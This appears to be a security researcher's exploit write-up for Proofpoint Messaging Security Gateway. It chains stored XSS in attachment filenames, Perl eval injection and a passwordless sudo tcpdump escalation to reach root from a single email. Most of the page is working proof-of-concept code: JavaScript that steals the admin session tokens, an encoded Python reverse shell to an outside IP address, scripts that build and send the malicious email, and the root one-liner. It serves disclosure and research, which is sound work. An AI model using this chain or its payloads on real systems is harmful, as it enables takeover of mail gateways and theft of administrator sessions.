## https://sploitus.com/exploit?id=D972592C-448F-5326-8CB1-631B72C20550
# About
Security researcher: ly1g3, ly1g3[at]tuta.io
GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Overview: Remote Code Execution exploit chain - Email to zero click RCE as root
CVE:
* CVE-2022-46332 - Stored XSS Vulnerability
* CVE-2022-46333 - Command Injection via eval() function
* CVE-2022-46334 - "sudo" Privilege Escalation
Timeline:
* Discovered - ly1g3
* Reported - ly1g3
* Fixed - Proofpoint
# Proofpoint Messaging Security Gateway 8.18.4.73-8.18.4.73
Exploits for Proofpoint Messaging Security Gateway 8.18.4.73-8.18.4.73
## Remote Code Execution (RCE)
By sending a specially crafted email a attacker can get complete control over the system (code execution as root).
Exploit chain using three discovered vulnerabilities:
1. XSS for initial access
2. Perl command injection
3. Privilege escalation
## Technical
### XSS
The field `Attachment Names` in view `Smart Search -> Search -> Message Details` is used for injection of javascript. The XSS payload can only contain lower case letters. Some characters will be converted and cannot be used. Each filename is limited in size so payload must be split in multiple filenames and then combined.
Steps to reproduce:
1. Send email with filename containing javascript payload (see POC)
2. Admin views message details `Smart Search -> Search -> Message Details`
3. XSS triggered, custom javascript now running
4. Steal `pps_token` and `pps_magic`, used to make further requests (see Perl Command Injection)
### Perl Command Injection
For Peal command injection the following code is exploited from `EuwebUtils.pm` line 1154. The `eval` is triggered when custom login page is enabled. We enable this in the XSS part.
```perl
# eval the url to include custom macro's. I assume if's mainly using $username, $locale etc
my $newurl = eval($url);
```
Steps to reproduce:
1. Make `XMLHttpRequest` to create a custom login page for `euweb`
2. It is possible to inject `euwebcustomlogouturl` and `euwebcustomloginurl` with perl code
3. Visit (or redirect using js) page specified in `euwebcustomloginurl` or `euwebcustomlogouturl`
4. Code executes as user `pps` with control over most services
5. Reverse shell possible (see POC)
### Privilege Escalation
After gaining access to a reverse shell as the `pps` user we can escalate to root since `tcpdump` can be run with sudo without password.
```bash
$ sudo -l
User pps may run the following commands on messagingsecuritygateway:
(root) NOPASSWD: /usr/sbin/tcpdump
$ sudo tcpdump -i any -w /dev/null -W 1 -G 1 -z /tmp/b.sh -Z root
```
Steps to reproduce:
1. User `pps` can run `sudo tcpdump`
2. Run `sudo tcpdump -i any -w /dev/null -W 1 -G 1 -z /tmp/b.sh -Z root`
3. `b.sh` will run as root
## POC
POC currently assumes that `End User Services > Web Application` is enabled but could be extended easily to do this automatically.
How to run:
1. Change `shell_cmd` variable in `xss.js` to run any custom commands/reverse shell.
2. `python3 gen_message.py xss.js `
3. `python3 send_email.py 'test@test.localdomain' 'test1@test.localdomain' out.eml`
4. Triggers when admin shows message details `Smart Search -> Search -> Message Details`
### xss.js
```javascript
/*
ly1g3
*/
function get_ppstoken(e){
console.log(e);
var req = new XMLHttpRequest();
req.onload = console.log;
req.withCredentials = true;
var u = `${document.location.origin}/admin`
console.log("get_ppstoken url: ", u);
req.open(`GET`, u);
req.setRequestHeader(`Te`, `trailers`);
req.setRequestHeader(`Accept`, `text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8`);
req.setRequestHeader(`Upgrade-Insecure-Requests`, `1`);
req.setRequestHeader(`User-Agent`, `Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0`);
req.setRequestHeader(`Sec-Fetch-Dest`, `document `);
req.setRequestHeader(`Sec-Fetch-Site`, `none`);
req.setRequestHeader(`Sec-Fetch-User`, `?1`);
req.setRequestHeader(`Accept-Language`, `en-US,en;q=0.5`);
req.setRequestHeader(`Sec-Fetch-Mode`, `navigate`);
req.onreadystatechange = function() {
if (req.readyState == XMLHttpRequest.DONE) {
console.log("get_ppstoken response")
console.log(req.response)
console.log(req.status, req.statusText)
var b = req.response;
console.log(b);
var s = b.indexOf('return ') + 8
var e = b.indexOf('"', s)
var token = b.slice(s,e);
console.log("Token from get_ppstoken: ", token)
set_custom_auth(token);
}
}
req.send(``);
}
function set_custom_auth(ppstoken){
console.log("set_custom_auth started with: ", ppstoken);
var req = new XMLHttpRequest();
//req.withCredentials = true;
req.onload = console.log;
req.withCredentials = true;
var u = `${document.location.origin}/admin`
console.log("set_custom_auth url: ", u);
req.open(`POST`, u);
req.setRequestHeader(`Te`, `trailers`);
req.setRequestHeader(`Accept`, `text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8`);
req.setRequestHeader(`Upgrade-Insecure-Requests`, `1`);
req.setRequestHeader(`User-Agent`, `Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0`);
req.setRequestHeader(`Sec-Fetch-Dest`, `frame`);
req.setRequestHeader(`Sec-Fetch-Site`, `same-origin`);
req.setRequestHeader(`Accept-Language`, `en-US,en;q=0.5`);
req.setRequestHeader(`Content-Type`, `application/x-www-form-urlencoded`);
req.setRequestHeader(`Sec-Fetch-Mode`, `navigate`);
var ppsmagic = document.cookie.split("=")[1]
console.log("ppsmagic: ", ppsmagic)
// Command to be executed
var shell_cmd = `echo 'cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC44MC44MSIsMTIzNSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oIi9iaW4vc2giKSc=' | base64 -d | sh`
var payload = `"; system("${shell_cmd}");#`
payload = encodeURIComponent(payload)
var u = encodeURIComponent(`https://${document.location.hostname}/`)
var body = `module=Digest&cmd=cmd_save_digest&chapter=4&subchapter=0&rcptlist=&customloginenable=t&euwebcustomloginurl=${u}${payload}&euwebcustomlogouturl=${u}${payload}&authtokenenable=f&enablesecurityaccesstoken=f&pps_magic=${ppsmagic}&pps_token=${ppstoken}`
req.onreadystatechange = function() {
if (req.readyState == XMLHttpRequest.DONE) {
// Trigger exploit here
console.log(req.status, req.statusText)
console.log("EXPLOIT DONE, TRIGGERING");
var u = `https://${document.location.hostname}/euweb/login`
var u2 = `https://${document.location.hostname}:10020/euweb/login`
console.log("euweb url: ", u);
window.location.replace(u);
setTimeout(() => {
console.log("settimeout");
window.location.replace(u2);
}, "3000")
}
}
req.send(body);
}
get_ppstoken();
```
### gen_message.py
```python
# Proofpoint RCE POC by ly1g3
# Run with python3 gen_message.py xss.js
# Generates out.eml
#
# Generate emails that will trigger reverse shell when viewing message details
# For custom commands edit xss.js `shell_cmd` variable
import sys
import base64
headers = """From: "test@test.localdomain"
Subject: testsubject
To: test2@test.localdomain
Date: Thu, 15 Aug 2019 14:54:39 +0900
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="------------987354divider"
Content-Language: en-US
This is a multi-part message in MIME format.
--------------987354divider
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
test message
"""
file_temp = """--------------987354divider
Content-Type: text/plain; charset=UTF-8;
name="testfile.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=INSERT_HERE
dGVzdA==
"""
end = "\n--------------987354divider--"
if len(sys.argv) ");
sys.exit(1)
encoded = ""
with open(sys.argv[1], "rb") as f:
c = f.read()
encoded = base64.b64encode(c).decode()
pstart = ""
payload = encoded
payload = payload
files = []
step = 40
def conv(s):
s = s.encode()
import binascii
r = binascii.hexlify(s)
res = ""
for i in range(0,len(r), 2):
p = r[i:i+2]
p = "%" + p.decode()
res += p
return res
b = "=?utf-8?B?INSERT_HERE?="
import base64
for i in range(0,len(payload), step):
res = payload[i:i+step]
res = '' + conv(res) + ''
files += [res]
files[0] = pstart + files[0]
files +=[pend]
print(files)
with open("out.eml", "w") as f:
f.write(headers)
for a in files:
b64 = base64.b64encode(a.encode())
name = b.replace("INSERT_HERE", b64.decode())
res = file_temp.replace("INSERT_HERE", name)
f.write(res)
f.write(end)
print("Wrote exploit to out.eml")
```
### send_email.py
```python
# Borrowed from https://gist.github.com/sosukeinu/4370139
import sys
import os.path
import smtplib
if len(sys.argv) ')
print
print('Parameter:')
print(' mailfrom: MAIL FROM address.')
print(' rcptto: RCPT TO address.')
print(' emlfile: Message file in eml format. When emlfile is not specified, an empty message will be send.')
print
print('Example:')
print(' $ python ' + sys.argv[0] + ' mailfrom@example.com rcptto@example.com mail.eml')
sys.exit(0)
server = 'test.localdomain'
port = 25
mailfrom = sys.argv[1]
rcptto = sys.argv[2].split(',')
message = ''
if len(sys.argv) >= 4:
filename = sys.argv[3]
if not os.path.isfile(filename):
print('File "' + filename + '" not found.')
sys.exit(0)
with open(filename) as f:
message = f.read()
smtp = None
try:
smtp = smtplib.SMTP(server, port)
smtp.sendmail(mailfrom, rcptto, message)
except Exception as e:
print('Failed to send mail.')
print(str(e))
else:
print('Succeeded to send mail.')
finally:
if smtp != None:
smtp.close()
```